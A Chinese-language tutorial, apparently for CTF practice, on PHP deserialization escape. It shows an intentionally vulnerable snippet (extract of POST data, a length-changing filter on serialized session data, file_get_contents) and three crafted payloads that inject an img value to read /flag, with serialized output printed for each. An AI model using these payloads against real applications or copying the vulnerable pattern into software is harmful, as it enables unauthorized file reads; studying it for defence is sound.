反序列化逃逸
都知道,php 反序列化时,后面的多余的数据会被直接丢弃。
过滤序列化后的字符串时,通过构造的数据会造成反序列化逃逸。
有以下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if ($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION["phone"] = '12345678901';
extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION)); $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img']));
|
最终的目的就是控制 img 参数,以达成任意读取文件的目的,可是在 extract POST 的数据后又对img 进行了赋值。注意到 filter 函数对序列化后的数据进行过滤,因此可以进行逃逸。
可以构造以下的 SESSION:
1 2 3 4 5 6
| $_POST = array( $_SESSION = array ( 'a' => 'phpphpphpphpphp', 'b' => ';s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}' ) );
|
序列化后过滤前后数据如下:
1 2 3
| a:3:{s:1:"a";s:15:"phpphpphpphpphp";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:3:{s:1:"a";s:15:"";s:1:"b";s:46:";s:1:"b";s:4:"test";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
过滤后,SESSION 数据如下:
1 2 3 4 5 6
| Array ( [a] => ";s:1:"b";s:46: [b] => test [img] => L2ZsYWc= )
|
这样就成功逃逸。
也可以构造一个数组:
1 2 3 4 5 6 7 8
| $_POST = array( $_SESSION = array ( 'nonup' => array ( 1 => 'phpphpphpphp', 2 => ';i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}' ) ) );
|
序列化后过滤前后数据如下:
1 2 3
| a:2:{s:5:"nonup";a:2:{i:1;s:12:"phpphpphpphp";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:2:{s:5:"nonup";a:2:{i:1;s:12:"";i:2;s:100:";i:2;s:60:"111111111111111111111111111111111111111111111111111111111111";}s:3:"img";s:8:"L2ZsYWc=";}";}s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
过滤后,SESSION 数据如下:
1 2 3 4 5 6 7 8 9 10
| Array ( [nonup] => Array ( [1] => ";i:2;s:100: [2] => 111111111111111111111111111111111111111111111111111111111111 )
[img] => L2ZsYWc= )
|
也可以成功逃逸。
如果过滤后字符反而变多了,也可以逃逸。假如 filter 函数变成了这样:
1 2 3 4 5
| function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter, 'hack', $img); }
|
分析一下就会发现,我们只要追加:";s:3:"img";s:8:"L2ZsYWc=";}
就好。它的长度是 28,每次过滤都会多一个字符,因此只需要添加 28 个 php 即可。
1 2 3 4 5
| $_POST = array( $_SESSION = array ( 'nonup' => 'phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}' ) );
|
序列化后过滤前后数据如下:
1 2 3
| a:2:{s:5:"nonup";s:112:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
a:2:{s:5:"nonup";s:112:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:3:"img";s:8:"L2ZsYWc=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
|
过滤后,SESSION 数据如下:
1 2 3 4 5
| Array ( [nonup] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack [img] => L2ZsYWc= )
|
也可以成功逃逸。
例题